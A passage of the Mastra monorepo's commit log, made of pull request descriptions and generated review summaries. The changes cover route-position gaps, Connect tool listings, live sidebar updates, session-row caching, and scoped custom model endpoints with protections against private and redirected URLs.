- No schema change is included.

## Changes by file

- **`.changeset/purple-buckets-spend.md`**: Adds a patch changeset for
`@mastra/factory`. It describes the delete fix. (+5/−0)
- **`mastracode/factory/src/storage/domains/boards/base.ts`**: Removes
renumbering from intake-route and board deletion. Adds the gap-aware
insert-ahead and board-scoped reorder behavior. `placeIntakeRoutes`
delegates to `moveIntakeRoutes`, which leaves routes already in place
unchanged. (+45/−14)
-
**`mastracode/factory/src/storage/domains/boards/intake-routes.test.ts`**:
- The route-order helper accepts strictly increasing, distinct positions
with gaps.
  - `emptyProject` deletes seeded routes in listed order.
- A new test covers deletion of an early route. It checks that no
route-table updates run. It checks that other routes keep their order,
fields, and revisions. It checks that an edit using a previously read
revision succeeds, and that later insert and reorder work across the
gap.
- New tests cover board-scoped reorder across a gap and insert-ahead
across a gap.
- The concurrency test title and comments describe adding, deleting, and
editing routes. (+94/−22)
-
**`mastracode/factory/src/storage/domains/boards/intake-order.test.ts`**:
The board-deletion test expects surviving routes to keep their positions
and revisions. The title states that other boards' rules are unchanged.
(+5/−4)
- **`mastracode/factory/src/routes/intake-routes.test.ts`**: Test setup
deletes unseeded routes in listed order. A new regression test checks
that deleting one route leaves other revisions unchanged. It also checks
that an editor holding a pre-delete revision can update a later route
without a conflict. (+24/−2)

Totals: 5 files changed, +173 lines, −42 lines.

## Verification

The PR author reports these results. This review did not run them.

- New LibSQL and Postgres storage and HTTP scenarios fail on the
previous code and pass with this change. This includes the board-scoped
reorder and insert-ahead regression scenarios.
- Reported gates: `build:lib`, `tsc --noEmit`, `oxlint --type-aware`,
`oxfmt`, and focused intake, boards, and dispatcher suites on LibSQL and
a Postgres 16 container.
- CLI route metadata was regenerated with no drift.
- The author reports that all gates were rerun after the follow-up
changes and passed.

## Review notes

- Behavior change: deleted rules leave position gaps. Any reader that
assumes contiguous positions starting at zero will fail. The test helper
accepts gaps. Other readers were not checked in this review.
- Review severity counts: not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 16:45:21 -08:00
Damien Schneider
c638825c83
feat(factory): list each Connect connection's tools in Settings › Tools (#30610)
## Description

Stacked on #30607. Settings › Tools lists a project's Mastra Connect
connections, but not the tools sessions actually get from them, so
there's no way to check what a `tools` option narrows to (e.g.
`allowTools: ['posthog_get_*', 'posthog_list_*']`) without starting a
session.

New `GET /web/integrations/platform/connect-tools/tools` resolves the
tools a session started by the signed-in user would get: Factory's
default Connect tools, or whatever the `tools` option returns. Each tool
comes back with its description, whether it asks for approval and, for
default tools, whether Factory leaves it out because it deletes or
archives. GitHub/GitLab tools stay out, like their connections. If the
tools can't be resolved, it answers 502 `tools_unavailable` with the
reason, so the panel shows a retry instead of an empty list.

In `session-tools.ts` the unfiltered resolver is split from the session
wrapper, so sessions behave exactly as before (filtered, and an empty
set with a warning on failure) while the listing sees failures.

The panel shows "N tools" per connection and expands to the list,
matched to connections by Connect's `<integrationId>_` tool prefix. With
a `tools` option, a connection the code doesn't use shows "No tools",
and tools from no listed connection (MCP, custom tools) appear under
"Other tools from code". One caveat: a `tools` function that reads the
request sees the signed-in user's request here, not a session's.

**Default tools**: what sessions get, then what Factory leaves out:

![Default Connect tools with left-out
tools](https://raw.githubusercontent.com/mastra-ai/mastra/3f685d750cf1e8523836780c067d2728c654fcf6/.pr-assets/connect-tool-list/default-tools.png)

**Tools from code**: a `tools` option narrowing PostHog to read tools,
not using Linear, and adding one tool of its own:

![Tools from a tools option, per
connection](https://raw.githubusercontent.com/mastra-ai/mastra/3f685d750cf1e8523836780c067d2728c654fcf6/.pr-assets/connect-tool-list/tools-from-code.png)

Tests: `factory.test.ts` boots a real Factory against the Platform
stand-in and checks the listing matches what sessions get, including the
left-out Linear tools, for both the default and a narrowing
`connectTools()` option, plus the 502 when the Platform is down. Route
tests cover approval flags, custom tools not being filtered, missing
setup and signed-out callers. MSW tests cover counts, ordering, "No
tools", "Other tools from code" and the retry. Patch changesets for
`@mastra/factory` and `mastra`, plus README notes.

## Related issue(s)

Related to #30579 (fixed in #30607).

## Type of change

- [ ] Bug fix (non-breaking change that fixes an issue)
- [x] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [x] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR

---
_Generated by [Claude
Code](https://claude.ai/code/session_01VhgyDVR9FKd4yzi7nnjSdi)_

---------

Co-authored-by: Damien Schneider <damien@mastra.ai>
2026-11-16 16:40:20 -08:00
Damien Schneider
a6dbd29a4e
fix(factory): list Connect connections in Settings › Tools when tools is set (#30607)
## Description

Settings › Tools said "Mastra Connect tools are off" whenever a Factory
set the `tools` option, even when that option was itself Connect tools,
e.g.:

```ts
tools: connectTools({ providers: ['posthog'], allowTools: ['posthog_get_*', 'posthog_list_*'] })
```

Sessions got the PostHog tools fine, but `factory.ts` dropped the
Connect project id as soon as `tools` was set, so `GET
/web/integrations/platform/connect-tools` answered 404
`connect_tools_off` and the panel showed it as off.

The project id is now resolved independently of `tools`. Whenever the
Factory has Platform credentials and `MASTRA_PROJECT_ID`, the route
lists the project's connections and returns `toolsSource: 'default' |
'custom'`. With `custom`, the panel keeps the list and says session
tools are set in code. When setup is missing, the 404 keeps the
`connect_tools_off` code (older CLIs still read it) and adds `reason:
'no_credentials' | 'no_project_id'`, so the panel names the one missing
piece instead of listing every cause. The route also checks sign-in
before answering, so signed-out callers can't read how the Factory is
set up.

What sessions get is unchanged: `tools` still replaces the default
Connect tools.

**Before**, a Factory narrowing Connect tools in `tools`:

![Before: Mastra Connect tools are
off](https://raw.githubusercontent.com/mastra-ai/mastra/cdf6eb7b8f5faca30a1cdb9231c0e9ba3cbe6d80/.pr-assets/connect-tools-panel/before.png)

**After**, same Factory:

![After: connections listed with a note that tools are set in
code](https://raw.githubusercontent.com/mastra-ai/mastra/cdf6eb7b8f5faca30a1cdb9231c0e9ba3cbe6d80/.pr-assets/connect-tools-panel/after-tools-in-code.png)

**After**, Platform credentials set but no `MASTRA_PROJECT_ID`:

![After: names the missing
MASTRA_PROJECT_ID](https://raw.githubusercontent.com/mastra-ai/mastra/cdf6eb7b8f5faca30a1cdb9231c0e9ba3cbe6d80/.pr-assets/connect-tools-panel/after-no-project-id.png)

Tests: route tests cover the custom source, each missing reason and
signed-out callers. A `factory.test.ts` case boots a real Factory with a
narrowing `connectTools()` against the Platform stand-in and reads the
route; it fails with the 404 without the fix. MSW tests cover the panel
states, including an older server that sends no reason. Patch changesets
for `@mastra/factory` and `mastra` (the Settings UI ships in the CLI),
plus a README note.

## Related issue(s)

Fixes #30579

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [x] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR

---
_Generated by [Claude
Code](https://claude.ai/code/session_01VhgyDVR9FKd4yzi7nnjSdi)_

---------

Co-authored-by: Damien Schneider <damien@mastra.ai>
2026-11-16 16:40:20 -08:00
Damien Schneider
46361a59f9
feat(factory): announce session writes so sidebars update live (#30617)
**─────── TLDR ───────**
> A session someone starts, renames, hides or follows to a card now
shows in every teammate's sidebar within a second, not up to a minute
later.

Session and follow writes never sent a feed frame, so other open
sidebars only caught up on the 60 s safety refetch, or on a 15 s
`settling` poll while a session was starting. Now every committed
session or follow write announces its project. Every replica forgets its
cached list for that project, and the feed frame makes the open tabs
reload.

### Behavior changed

a teammate starts, renames or makes a session private
&nbsp;&nbsp;├─ **was** — your sidebar caught up after 15 to 60 s
&nbsp;&nbsp;└─ **now** — it updates on the next feed frame

a session follows or stops following a card
&nbsp;&nbsp;├─ **was** — same 60 s delay
&nbsp;&nbsp;└─ **now** — same feed frame

a session is still starting in an open sidebar
&nbsp;&nbsp;├─ **was** — the sidebar polled `session-rows` every 15 s
&nbsp;&nbsp;└─ **now** — no poll; each write sends its own frame

the session list, on a sidebar reload with no write since the last one
&nbsp;&nbsp;├─ **was** — one probe query, then a full reload whenever
the probe moved
&nbsp;&nbsp;└─ **now** — kept in memory, no query for it

### Gain

> ██████████████████ **#30616** `8.5 queries`
> ██████████ **this PR** `4.5 queries`

Database queries per sidebar request, same bench as #30616: 50 viewers,
about 4,000 sessions, local Postgres. CPU for those 50 viewers went from
225 to 243 ms, which I read as noise but did not prove.

### Shape changed

| | | |
|---|---|---|
| **−** | `ProbedList`, `probeNewest` | a probe per read plus a 5 s
settle window |
| **−** | `settling`, `isSettling` | the poll they drove is gone |
| **+** | `AnnouncedLists` | list kept until a write announces it;
mirrors `KeptCards` |
| **+** | `shareSessionListChanges` | bus wiring; mirrors
`shareLinkedRepositoryChanges` |
| **~** | `unsubscribeFromWorkItem` | takes `factoryProjectId`, to
announce the right list |

removed from the wire
&nbsp;&nbsp;&nbsp;&nbsp;`settling` on `GET …/session-rows` · `settling`
on `GET …/session-activity`

### Decisions

- **one topic for sessions and follows, apart from board changes** — a
session write must not make `KeptCards` reread cards; merge topics if
you disagree
- **four one-shot writes moved to `updateAtomic`** — the announcement
needs the row's project; one transaction per session lifetime each
- **kept the `UNMATERIALIZED_POLL_MS` poll in `useWorkspaces`** — feed
frames don't refetch that query; out of this PR's scope

### Watch

> [!WARNING]
> A lost bus message leaves that replica's list <mark>stale for up to 60
s</mark>, the max age every kept list has. A replica that cannot
subscribe reads the database on every request instead.

on deploy: replicas still on the old build neither announce nor listen,
so their writes reach new replicas within 60 s until the rollout ends.

### Not verified

- [ ] a sidebar updating live in a browser, on two accounts

---

> ██████████████████ **source** `+264 −156` — net +108
> █████████████████ **tests** `+253 −277` — net −24
> █ **changeset** `+5`
> █ **generated** `+2 −10`
> █ **docs** `+1 −1`

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Teammates' open sidebars now update when someone changes a
session or a follow. Before, the sidebar asked the server again and
again. Now the server sends a message when something changes.

## Summary

This pull request changes how `@mastra/factory` reports session and
follow list changes to open sidebars. It replaces periodic sidebar
refetches with write-triggered feed frames.

### Behavior changes

- Session starts, renames, visibility changes, and follow changes
announce their project. `shareSessionListChanges` relays these
announcements across replicas and sends a frame on the project feed.
- The `settling` field is removed from the `session-rows` and
`session-activity` responses. The schemas, handlers, and
`sessionActivity` no longer use it or the `now` input for it.
- The `UNMATERIALIZED_POLL_MS` polling in `sessionRowsQueryOptions` and
`sessionActivityQueryOptions` is removed. Both keep
refetch-on-window-focus. The constant is no longer exported from
`useWorkspaces.ts`, but its value stays at 15,000 ms.
- `unsubscribeFromWorkItem` now requires `factoryProjectId`. Callers in
`session-tools.ts` and `work-item-tools.ts` pass the project scope.

### Storage changes

- `ProbedList` and `probeNewest` are removed, along with
`probed-list.ts` and its test file.
- `AnnouncedLists<T>` replaces them. It caches a project list in memory
until an announcement invalidates it, with a 60-second maximum age. It
holds at most 100 entries. When announcements are untrusted, reads call
the loader directly.
- `SourceControlStorage.projectSessions` and
`WorkItemsStorage.projectSubscriptions` are now public `AnnouncedLists`
instances. Session and subscription mutations announce their scope.
- Work-item deletion announces the project only when the card was
deleted and at least one subscription was removed.
- `MastraFactory` starts `shareSessionListChanges` and stores its
unsubscribe function. `shutdown()` calls it.

### Shared module

- `session-list-changes.ts` adds `SESSION_LIST_CHANGES_TOPIC` and
`shareSessionListChanges`.
- Each instance has a UUID so it ignores its own events.
- Incoming events are accepted only for the `sessions` and `follows`
lists with string scope IDs.
- If the subscription fails, the module logs a warning and stops
announcements. If it succeeds, it trusts announcements and distrusts
them on cleanup.

### Tests and docs

- New two-replica tests in `session-list-changes.test.ts` cover
shared-database updates, unsubscribed replicas, and a lost announcement.
The lost-announcement test expects the change after 60 seconds.
- Some `listByProject` tests in `source-control/base.test.ts` are
removed. The work-item subscription test now covers unsubscribing with
`factoryProjectId`.
- `test-utils.ts` uses a random Postgres schema per connection, or a
temporary LibSQL database. Postgres requires
`FACTORY_TEST_POSTGRES_URL`.
- MSW fixtures no longer include `settling`.
- The README and a new patch changeset for `@mastra/factory` describe
the new behavior.

### Stated results and limits

- The author reports a drop from 8.5 to 4.5 database queries per sidebar
request in the stated benchmark. CPU changed from 225 to 243 ms for 50
viewers. The author did not show that the CPU difference is more than
noise.
- If a bus message is lost, a replica's list can stay stale for up to 60
seconds.
- The author did not verify live browser behavior across two accounts.
- The `UNMATERIALIZED_POLL_MS` poll in `useWorkspaces` is out of scope.

### Scope

- 29 files changed, with 525 lines added and 444 removed, relative to
merge base `5e4645fd`.
- Review severity counts: not available.
- CI and test results: not available.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-16 16:35:01 -08:00
Damien Schneider
996966f0e6
perf(factory): build sidebar session rows once per change, not once per viewer (#30616)
**─────── TLDR ───────**
> Open sidebars now share one set of session rows per project, so
serving them takes about a third of the server CPU it did.

Every `session-rows` and `session-activity` request rebuilt the
project's rows from scratch, every session, card and follow, for one
viewer. With 50 sidebars open, that is 50 rebuilds of the same rows. Now
the part that doesn't depend on who's looking is built once per change
and shared, and each request only filters it for its viewer, visibility
first.

No behavior change: same rows, same order, same activity.

### Gain

> ██████████████████ **main** `689 ms`
> ██████ **this PR** `225 ms`

Server CPU for 50 viewers each loading rows and activity, in a project
of about 4,000 sessions on local Postgres, median of 7 rounds. The
rounds have no write in between, so the one rebuild a change costs is
not in the number. Part of the gain is the row sort: rows sort on ISO
timestamps, which now compare as plain strings instead of through
`localeCompare`. Queries per request stay at 8.5; #30617, stacked on
this one, brings them to 4.5.

### Shape changed

| | | |
|---|---|---|
| **+** | `SessionRowIndex` | row facts built once per change;
`rows(viewer)` filters first |
| **+** | `ProjectSessions` | the reader's shared result; `seenBy` and
`rowIndex` read it |
| **+** | `listSharedByProject` | every session of the project, frozen,
for the shared index |
| **+** | `isSeenBy` | the one visibility rule, for storage and the
index |
| **−** | `sessionRows` | replaced by `SessionRowIndex.rows` |
| **~** | `ProjectSessionsReader` | no `userId`; callers filter through
`seenBy(viewer)` |

### Decisions

- **owner names resolved for every owner in the project** — the index is
shared, so one owner set; differs only past the 100-owner cap
- **activity still names a card's sessions, private ones included** —
the board's card status reads them, same as main

### Not verified

- [ ] the gain on Shipyard itself: measured on local Postgres with
seeded data at Shipyard's size

---

> ██████████████████ **source** `+341 −172` — net +169
> ██████ **tests** `+107 −24`
> █ **changeset** `+5`

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** The sidebar builds a list of work sessions for each person who
opens it. This change builds the shared project list once, then filters
it for each person. The sidebar loads faster, and each person still sees
only the sessions they are allowed to see.

## Overview

This change reduces repeated work in sidebar session-row generation.
Before this change, each `session-rows` and `session-activity` request
rebuilt rows for one viewer. The change builds viewer-independent
project data once per change, then filters it for each viewer.

The PR description reports a local Postgres measurement: median of seven
rounds, 225 ms versus 689 ms for 50 viewers loading rows and activity,
in a project with about 4,000 sessions. This measurement is the author's
report. It is not verified here. The gain on Shipyard was not verified.
Queries per request remain at 8.5. The description states that PR
`#30617` reduces this to 4.5.

## Changes by area

**Shared visibility and storage (`storage/domains/source-control/`)**
- `base.ts` adds `isSeenBy(session, viewerUserId)`. Non-private sessions
are visible to all viewers. Private sessions are visible only to their
owner.
- `base.ts` adds `NO_SESSIONS`, a shared frozen empty list.
- `base.ts` adds `sessions.listSharedByProject({ orgId, factoryProjectId
})`. It returns linked sessions without viewer filtering.
- `base.ts` changes `listByProject` to apply `isSeenBy` to the shared
result.
- `base.ts` caches project sessions by organization and project. It
caches filtered links by a sorted link-ID key.
- `inmemory.ts` implements `listSharedByProject`. `listByProject` now
uses `isSeenBy` in place of its inline private-session check.

**Project session reader (`routes/project-sessions.ts`)**
- `ProjectSessionsReader` no longer takes `userId`. It returns a
`ProjectSessions` collection instead of `ListedSession[]`.
- The reader loads shared sessions from each source-control provider and
project subscriptions concurrently. It resolves owner profiles and
attaches followed work-item IDs.
- `ProjectSessions` exposes `seenBy(viewerUserId)` and a cached row
index.
- The reader reuses a previous collection when list identities,
subscription identity, and owner profiles match.
- Adds the `SeenSessions` interface.

**Session rows (`session/session-rows.ts`)**
- Adds `SessionRowIndex`. The constructor indexes sessions and cards,
and caches card context. `rows(viewer)` applies viewer filtering and
builds rows.
- Replaces the `sessionRows(facts)` function with `SessionRowIndex`. The
function is removed.
- Renames `SessionRowFacts` to `SessionRowViewer`. The `sessions`,
`cards`, and `boards` fields move to the index.
- Changes `RunReach.visibleSessionIds` to `Pick<ReadonlySet<string>,
'has'>`.
- Precomputes serialized session data, board, settled state, update
time, card fields, card-context rank, phase label, and deduplicated
followed work-item IDs.
- A person session uses its own update time. Other sessions use the card
update time when present.

**Session-row routes (`routes/session-rows.ts`,
`routes/source-control-sessions.ts`)**
- `sessionFacts` loads sessions and cards concurrently. It derives the
viewer's seen sessions and passes their IDs as the visible set.
- Row generation uses `rowIndex`. Settling uses the viewer's seen
sessions.
- The session-activity route passes seen sessions to `sessionActivity`.
- The Factory-project sessions GET route calls the reader without
`userId`. It returns `sessions.seenBy(userId)`.

**Sorting (`session/session-row-view.ts`)**
- Adds a `newestFirst` comparator. It compares ISO timestamp strings
directly instead of using `localeCompare`. Activity, updated, and
created sort modes use it. Descending order is unchanged.

**Activity privacy**
- Activity still names sessions linked to a card, including private
sessions. The board uses these session IDs to compute card status.
- The commit history shows an intermediate change that hid private
sessions from activity. A later commit reverted it.

**Tests**
- `session-rows.test.ts` and `session-row-view.test.ts` build rows
through `SessionRowIndex`. `rowsOf` defaults cards to an empty array.
- `routes/session-rows.test.ts` adds `x-viewer` header support and
configurable authentication. It adds helpers for rows, activity, and
session-list endpoints. It checks private-session visibility for the
owner and for other viewers, with authentication on and off.
- `mastracode/factory-ui/e2e/ui/session-reads.ts` builds rows with
`SessionRowIndex`.

**Changeset**
- Adds a patch changeset for `@mastra/factory`. It states that sidebar
requests use about one-third of the prior server CPU. This claim comes
from the changeset text. No measurement in the supplied evidence
confirms it.

## Behavior notes

- Owner names are resolved for all project owners. The PR description
states one difference: owners beyond the 100-owner cap.
- Row ordering and activity output are stated to be unchanged.

## Test results

Test and CI results are not available in the supplied evidence.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-16 16:35:00 -08:00
Damien Schneider
944bb3ab0f
feat(factory): personal custom endpoints, added from the provider list (FACT-596) (#29879)
**─────── TLDR ───────**
> A custom OpenAI-compatible endpoint can now be saved just for you or
for your whole organization, and you add it from Add provider like any
other provider.

Fixes FACT-595 and FACT-596. Custom endpoints were org-wide only, any
member could change them, and they lived in their own Settings section
that the Add provider drawer didn't know about. An endpoint is now saved
at a scope, the same way a key is, and it only ever authenticates with
its own key.

### Before / after

**Settings › Models, seen by a member** — endpoints now sit in the
provider list of the scope they belong to, and the org one is read-only
for members

| Before | After |
|---|---|
| ![before: models
settings](https://raw.githubusercontent.com/mastra-ai/mastra/bf93941c211c79c0ea38ca79700817e1f261040a/.pr-screenshots/factory-custom-endpoints/before-settings.png)<br>![before:
custom providers
section](https://raw.githubusercontent.com/mastra-ai/mastra/bf93941c211c79c0ea38ca79700817e1f261040a/.pr-screenshots/factory-custom-endpoints/before-custom-section.png)
| ![after: models
settings](https://raw.githubusercontent.com/mastra-ai/mastra/bf93941c211c79c0ea38ca79700817e1f261040a/.pr-screenshots/factory-custom-endpoints/after-settings.png)
|

**Add provider drawer** — a custom endpoint is one of the options

| Before | After |
|---|---|
| ![before: add provider
drawer](https://raw.githubusercontent.com/mastra-ai/mastra/bf93941c211c79c0ea38ca79700817e1f261040a/.pr-screenshots/factory-custom-endpoints/before-add-provider.png)
| ![after: add provider
drawer](https://raw.githubusercontent.com/mastra-ai/mastra/bf93941c211c79c0ea38ca79700817e1f261040a/.pr-screenshots/factory-custom-endpoints/after-add-provider.png)
|

Real app on Vite in Chromium, with Playwright answering the API.

### Behavior changed

a personal custom endpoint
&nbsp;&nbsp;└─ **new** — only its owner sees it, their personal sessions
run on it

an org-wide endpoint, in a personal session
&nbsp;&nbsp;├─ **was** — offered and used
&nbsp;&nbsp;└─ **now** — not offered, personal work uses personal
endpoints only

a member adds, edits or removes an org-wide endpoint
&nbsp;&nbsp;├─ **was** — allowed
&nbsp;&nbsp;└─ **now** — 403, and read-only in Settings like org keys

an endpoint named like a built-in provider, with no key of its own
&nbsp;&nbsp;├─ **was** — called with the key saved for that provider
&nbsp;&nbsp;└─ **now** — called with no key, and that name is refused
for new ones

editing an endpoint without retyping its key
&nbsp;&nbsp;├─ **was** — the saved key was wiped
&nbsp;&nbsp;└─ **now** — kept on the same host, asked for again on
another host

an endpoint on `localhost`, a private address or plain HTTP, on a hosted
Factory
&nbsp;&nbsp;├─ **was** — saved and called from the Factory server
&nbsp;&nbsp;└─ **now** — refused on save; one saved earlier shows "URL
not allowed" and its models are not offered

a custom endpoint that answers with a redirect
&nbsp;&nbsp;├─ **was** — followed, carrying the request and its key
&nbsp;&nbsp;└─ **now** — refused, the call fails

the same endpoint on a local or self-hosted Factory
&nbsp;&nbsp;└─ **unchanged** — Ollama or vLLM on the machine or network
still works

Adding an endpoint under a name already in use used to replace it
silently; it is now refused, and so is renaming onto a taken name. Names
that already mean something are refused too: built-in providers (even
when the catalog failed to load), their sign-in ids such as "OpenAI
Codex", older ids such as "Kimi for Coding", and the gateways' own
("Mastra", "Mastra Gateway", "MastraCode"). An endpoint without a key
now works when sign-in is on, where it used to fail with "no
credential". A `mastra/…` model never runs on a custom endpoint, with or
without a gateway key; mastra-ai/mastra#29183 added the same guard in
`resolveLanguageModel`, and this PR folds it into the one lookup. A save
no longer empties the endpoint list for runs already using it while the
list reloads.

### Shape changed

| | | |
|---|---|---|
| **+** | `#customProvider(id)` | one gateway lookup replaces four, own
key or none |
| **+** | `customProviderOwner(tenant)` | one rule for which list a
request uses, everywhere |
| **+** | `user_custom_providers` | the org table's unique index can't
be relaxed |
| **+** | `storedScopeFor` · `runScopeFor` | one map between
`user`/`org` and `user`/`factory` |
| **+** | `isReservedProviderId` | every id model resolution or the
pickers already use |
| **+** | `customEndpointUrlProblem(url)` | one hosted URL rule, read by
save, gateway, catalogs and the org key gate |
| **~** | `upsert` → `create` · `update` | add never replaces; an edit
decides the key inside its atomic write |
| **−** | `orgForTenant` | replaced by `customProviderOwner` |
| **−** | `CustomProvidersSection` | endpoints are rows in the provider
list now |

what callers now live with
&nbsp;&nbsp;&nbsp;&nbsp;`scope` (`user` by default, or `org`) on `POST
/web/config/custom-providers` and `DELETE …/:id?scope=` · `scope` on
each `GET` row · `previousId` means edit, its absence means add ·
`urlProblem` on a `GET` row the server refuses to call · 409
`provider_name_taken`, 404 `custom_provider_not_found`, 400
`api_key_required`, 400 `custom_endpoint_url_refused`
removed: "Update key" and "Remove key" on custom rows

### Decisions

- **two tables, not a nullable `user_id`** — the old unique index would
block two members using one name; one table would need a copy on boot
- **scopes are exclusive, like keys, for every account** — accounts
without an organization included; an admin switch to share an org
endpoint is a follow-up if needed
- **a host change needs the key again** — compared by URL origin, so a
path change on the same host keeps it
- **hosted means `MASTRA_DEPLOYMENT_ID` is set** — the platform stamps
it on every deploy and local `factory dev` never sets it;
`MASTRA_PLATFORM_ACCESS_TOKEN` is skipped when observability is off, so
it would fail open
- **the gateway snapshot is the line that holds** — save, catalogs and
the org key gate filter too, but a missed filter there only means a
failed call, not a request out
- **redirects refused for every custom endpoint** — the SDK can't tell
hosted from local, and following one hands the key to another address

### Watch

> [!WARNING]
> New Factories default to `hybrid`, where interactive sessions are
personal. <mark>Org-wide endpoints stop appearing in those
sessions</mark>, so anyone using one there has to add it again as
personal.

### Not verified

- [ ] saving, editing and removing endpoints against a real server — the
screenshots and component tests answer the API with stubs
- [ ] how many orgs on `hybrid` use an org-wide endpoint today
- [ ] a public hostname whose DNS points at a private address — the rule
checks the URL, not what it resolves to
- [ ] whether Railway exposes a metadata address to Factory containers
at all
- [ ] hosted rows named like a built-in provider — they still take over
that provider's models, now without its key, until an admin removes or
renames them

---

> ███████████████████ **tests** `+1570 −398` — 59% of the additions
> █████████████ **source** `+1046 −524`
> █ **changeset** `+39`


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

ELI5: Custom AI model servers can now be added for just one person or
for the whole organization. Each server appears only where its owner can
use it. Hosted Factories block server addresses that point to private or
local networks.

## Overview

This change makes custom OpenAI-compatible endpoints scoped providers.
An endpoint can be personal (`user`) or organization-wide (`org`). The
change covers storage, API routes, the SDK model resolution, and the
settings UI. The diff touches 47 files, with 2655 lines added and 922
removed.

## Behavior

- Personal endpoints are visible only to their owner. They are used in
personal sessions.
- Organization endpoints are not offered in personal sessions. Only
organization admins can add, edit, or remove them.
- Custom endpoints appear in the provider list and the Add provider
drawer.
- The settings page no longer renders the separate organization "Custom
providers" section. The `CustomProvidersSection` component and its test
are deleted.
- Adding an endpoint no longer overwrites an existing name.
- Editing an endpoint keeps its saved key when the URL origin is
unchanged.
- Editing an endpoint to a different origin requires a new key.
- Reserved provider IDs are refused for new endpoints. Reserved IDs
include built-in, catalog, and gateway provider IDs.
- A custom endpoint without its own key does not use a built-in
provider's key.
- Model IDs in the `mastra/...` namespace are not sent to custom
endpoints. They route to the Mastra gateway.
- Custom endpoint requests do not follow redirects.
- Endpoint lists stay available to runs during reloads.
- Hosted Factories (`MASTRA_DEPLOYMENT_ID` set) reject local, private,
link-local, and plain-HTTP endpoint URLs. Hosted Factories skip stored
rows with such URLs in the gateway, catalog, and organization-key-gate
paths. The settings UI flags these rows.
- Local and self-hosted Factories accept these URLs.

## API changes

- Create and delete routes accept `scope` (`user` or `org`). Any value
other than `org` defaults to `user`.
- Each GET row returns `scope`.
- Edits use `previousId` to identify the existing provider.
- Save calls `update` when `previousId` is set. Otherwise it calls
`create`.
- Error responses:
  - 409 `provider_name_taken`
  - 404 `custom_provider_not_found`
  - 400 `api_key_required`
- Delete returns 404 when no record is removed.
- Successful writes and deletes notify the host and clear the
available-model cache.

## Storage changes

- `CustomProvidersStorage.upsert` is removed.
- `create({ owner, createdBy, input })` refuses duplicate IDs with
`name_taken`.
- `update({ owner, providerId, input })` changes only the owner's
provider. It returns `not_found` for a missing row and
`api_key_required` for a cross-origin change with no new key.
- `list(owner)` returns owner-scoped rows.
- `listForOrg(orgId)` returns organization and member rows.
- `delete({ owner, providerId })` is owner-scoped.
- Records include `userId: string | null`. A `null` value means
organization ownership.
- Organization and member providers use separate collections with
owner-specific uniqueness.

## Server and SDK changes

- `customProviderOwner(...)` selects the owner from the tenant identity
and credential scope.
- `OrgCustomProvidersSnapshot` stores organization and per-user lists.
It skips rows with invalid endpoint URLs.
- `customEndpointUrlProblem(url)` returns a problem string for hosted
deployments. It is used in the org-key gate and the custom-provider
source.
- `storedScopeFor` and `runScopeFor` map between run credential scopes
and stored scopes.
- The SDK gateway `handlesModel` claims a matching custom-provider ID
even without a key.
- `getApiKey` parses the gateway-qualified model ID.
- `resolveModelForRequest` passes an empty custom-provider list for
`mastra/` models.

## UI changes

- `CustomProviderDialog` adds or edits an endpoint. It uses the saved
scope when editing.
- `CustomProviderRow` shows the name, URL, model count, and key status.
It also shows a URL problem warning when one exists. The menu offers
edit and remove.
- `ProviderList` loads custom providers separately from built-in
providers. It filters rows by credential scope.
- `AddProviderDrawer` shows a custom endpoint option outside the search
results. It takes an `onAddCustomProvider` callback.
- `ProviderRows` adds shared row components and `ProviderIcon`. It adds
`CustomEndpointIcon`.
- `useRemoveCustomProvider` sends `scope` with the delete request.
- Provider connection state treats a custom provider as connected when
it has no URL problem.
- The onboarding picker disables custom-provider add when the current
scope is not writable. It shows an organization-admin explanation.
- The memory model picker queries models with `scope: 'user'`.

## Documentation and tests

- Two changesets are added: a patch for `@mastra/code-sdk` and a minor
changeset for the Factory feature.
- Tests cover scope isolation, name conflicts, key retention, hosted URL
rejection, and 404 on missing rows.
- SDK tests cover gateway routing, redirects, and keyless custom
endpoints.
- The MSW server adds a default `GET */web/config/custom-providers`
handler that returns an empty list.
- The following test files were added, changed, or deleted:
`CustomProvidersSection.msw.test.tsx` (deleted),
`ProviderList.msw.test.tsx`, `ProviderListScopes.msw.test.tsx`,
`custom-endpoint-url.test.ts`, `custom-provider-auth.test.ts`, and
`base.test.ts`.

## Upgrade notes

- Custom providers that relied on another provider's saved key must set
`apiKey` directly.
- Hosted Factory rows with local or plain-HTTP URLs are skipped. They
must be changed to public HTTPS URLs to work again.

## Not verified

The PR author reports these items as not verified:

- Saving, editing, and removing endpoints against a real server.
- Current use of organization-wide endpoints in hybrid sessions.
- Behavior of hosted rows named like built-in providers. Such rows may
still take over those providers' models without their keys until they
are removed or renamed.

No CI or test run results were supplied for this summary. Review finding
counts were not supplied and are not available.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Damien Schneider <damienschneider@damiens-MacBook-Pro.local>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-16 16:13:28 -08:00
mastra-platform[bot]
93b823a847
fix(deps): patch @opentelemetry/resources (GHSA-qrww-3xmv-qhgm) (#30580)
## Summary

Fixes the open dependency advisories from the Security board in the
mastra monorepo (outside templates). After checking every lockfile in
the repo, only one advisory was still open; the other three already
